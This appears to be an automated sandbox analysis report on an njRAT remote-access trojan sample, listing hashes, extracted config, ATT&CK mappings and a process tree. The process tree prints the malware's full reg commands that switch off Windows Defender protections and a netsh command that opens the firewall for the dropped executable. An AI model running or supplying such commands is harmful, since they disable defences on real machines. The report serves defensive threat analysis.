njrat | 94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998

Analysis

max time kernel
149s
max time network
112s
platform
windows10_x64
resource
win10v20201028
submitted
13/11/2020, 15:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
Size 540KB
Sample201113-7fwhecgq3e
SHA256 94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998
MD5 599d4a1935454e7d29840f2f8aa8766c
SHA1 61186befb06d37ce33647047a3f9c5b394f84ed9
SHA512 df68ab8efe3b5712090349432b2703e3393e2bed71c609f463ce2a3f958e4453a26a899371eca219ab0db3d8a7be6f7bbb0b83f1511e83bebe8ccba04b703a5e
MD5 SHA1 SHA512

Score

10^/10

njrat hacked evasion trojan

Malware Config

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

127.0.0.1:5552

Mutex

e83af6d5ff692b69cb0ee3ea3a7e3fe0

Attributes

reg_key
e83af6d5ff692b69cb0ee3ea3a7e3fe0
splitter
|'|'|

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Executes dropped EXE 4 IoCs

pid	Process
1388	loriedoodles.exe
4376	cutedoodles.sfx.exe
4324	cutedoodles.exe
1236	cutedoodles.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeDebugPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe
Token: 33	1236	cutedoodles.exe
Token: SeIncBasePriorityPrivilege	1236	cutedoodles.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1388	loriedoodles.exe

Suspicious use of WriteProcessMemory 43 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 1388	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	74
PID 4644 wrote to memory of 1388	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	74
PID 4644 wrote to memory of 1388	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	74
PID 1388 wrote to memory of 3084	1388	loriedoodles.exe	78
PID 1388 wrote to memory of 3084	1388	loriedoodles.exe	78
PID 3084 wrote to memory of 756	3084	cmd.exe	79
PID 3084 wrote to memory of 756	3084	cmd.exe	79
PID 3084 wrote to memory of 3340	3084	cmd.exe	80
PID 3084 wrote to memory of 3340	3084	cmd.exe	80
PID 3084 wrote to memory of 4220	3084	cmd.exe	81
PID 3084 wrote to memory of 4220	3084	cmd.exe	81
PID 3084 wrote to memory of 3336	3084	cmd.exe	82
PID 3084 wrote to memory of 3336	3084	cmd.exe	82
PID 3084 wrote to memory of 3936	3084	cmd.exe	83
PID 3084 wrote to memory of 3936	3084	cmd.exe	83
PID 3084 wrote to memory of 4028	3084	cmd.exe	84
PID 3084 wrote to memory of 4028	3084	cmd.exe	84
PID 3084 wrote to memory of 1764	3084	cmd.exe	85
PID 3084 wrote to memory of 1764	3084	cmd.exe	85
PID 3084 wrote to memory of 1872	3084	cmd.exe	86
PID 3084 wrote to memory of 1872	3084	cmd.exe	86
PID 3084 wrote to memory of 3020	3084	cmd.exe	87
PID 3084 wrote to memory of 3020	3084	cmd.exe	87
PID 3084 wrote to memory of 4088	3084	cmd.exe	88
PID 3084 wrote to memory of 4088	3084	cmd.exe	88
PID 3084 wrote to memory of 4304	3084	cmd.exe	89
PID 3084 wrote to memory of 4304	3084	cmd.exe	89
PID 3084 wrote to memory of 4280	3084	cmd.exe	90
PID 3084 wrote to memory of 4280	3084	cmd.exe	90
PID 3084 wrote to memory of 1020	3084	cmd.exe	91
PID 3084 wrote to memory of 1020	3084	cmd.exe	91
PID 4644 wrote to memory of 4376	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	92
PID 4644 wrote to memory of 4376	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	92
PID 4644 wrote to memory of 4376	4644	94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe	92
PID 4376 wrote to memory of 4324	4376	cutedoodles.sfx.exe	93
PID 4376 wrote to memory of 4324	4376	cutedoodles.sfx.exe	93
PID 4376 wrote to memory of 4324	4376	cutedoodles.sfx.exe	93
PID 4324 wrote to memory of 1236	4324	cutedoodles.exe	97
PID 4324 wrote to memory of 1236	4324	cutedoodles.exe	97
PID 4324 wrote to memory of 1236	4324	cutedoodles.exe	97
PID 1236 wrote to memory of 1496	1236	cutedoodles.exe	98
PID 1236 wrote to memory of 1496	1236	cutedoodles.exe	98
PID 1236 wrote to memory of 1496	1236	cutedoodles.exe	98

C:\Users\Admin\AppData\Local\Temp\94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe
"C:\Users\Admin\AppData\Local\Temp\94f321756ed39f6bb5a4d253a19e5e40e471dd2d23a7be25e7dfe1a03a4b6998.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3965.tmp\3966.tmp\3967.bat C:\Users\Admin\AppData\Local\Temp\RarSFX0\loriedoodles.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      PID:756
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      PID:3340
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      PID:4220
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      PID:3336
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      PID:3936
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      PID:4028
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      PID:1764
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      PID:1872
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      PID:3020
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      4⤵
      PID:4088
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      4⤵
      PID:4304
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      PID:4280
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      PID:1020
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\cutedoodles.sfx.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cutedoodles.sfx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\cutedoodles.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\cutedoodles.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe
      "C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1236
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\cutedoodles.exe" "cutedoodles.exe" ENABLE
        5⤵
        
        PID:1496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads